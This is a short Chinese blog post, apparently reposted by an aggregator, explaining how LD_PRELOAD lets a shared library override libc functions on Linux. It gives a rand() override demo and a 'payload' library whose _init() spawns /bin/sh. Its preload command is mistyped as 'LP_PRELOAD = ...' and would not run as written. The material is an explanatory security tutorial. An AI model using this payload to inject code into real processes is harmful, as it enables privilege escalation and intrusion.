Linux下利用动态链接劫持库函数并注入代码

Posted 挖洞的土拨鼠

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Linux下利用动态链接劫持库函数并注入代码相关的知识,希望对你有一定的参考价值。

关于环境变量$ LD_PRELOAD

$LD_PRELOAD是一个环境变量,用于加载动态库,他的优先级是最高的

/*
    优先级顺序:
    (1)$LD_PRELOAD
    (2)$LD_LIBRARY_PATH
    (3)/etc/ld.so.cache
    (4)/lib
    (5)/usr/lib
*/

一个挑战就是,这玩意可以产生一个shell,就像下面这样:

$ LP_PRELOAD = ./payload.so /bin/true

劫持库函数

假设存在一段这样的代码,其编译过程

#include <stdio.h>
#include <time.h>
#include <stdlib.h>

int main(int argc, char const *argv[]){
    srand(time(NULL));
    printf("%d\\n", rand());
}
gcc random.c -o random
./random

好的我们来覆写一下这个函数

int rand(void){
    return 32;
}
gcc -shared -fpic shlib.c -o shlib.so
LD_PRELOAD=./shlib.so ./random

构造Payload

#include <unistd.h>

void _init(){
    char *argv[] = {"/bin/sh", 0};
    execve(argv[0], &argv[0], NULL);
}

参考文献

Hijacking Library Functions and Injecting Code Using the Dynamic Linker

以上是关于Linux下利用动态链接劫持库函数并注入代码的主要内容,如果未能解决你的问题,请参考以下文章

Android 逆向Android 进程注入工具开发 ( 注入代码分析 | 获取注入的 libbridge.so 动态库中的 load 函数地址 并 通过 远程调用 执行该函数 )

Linux之静态库与动态库20160706

Linux下静态库与动态库

常见的注入方法

常见的注入方法

Linux函数调用劫持方法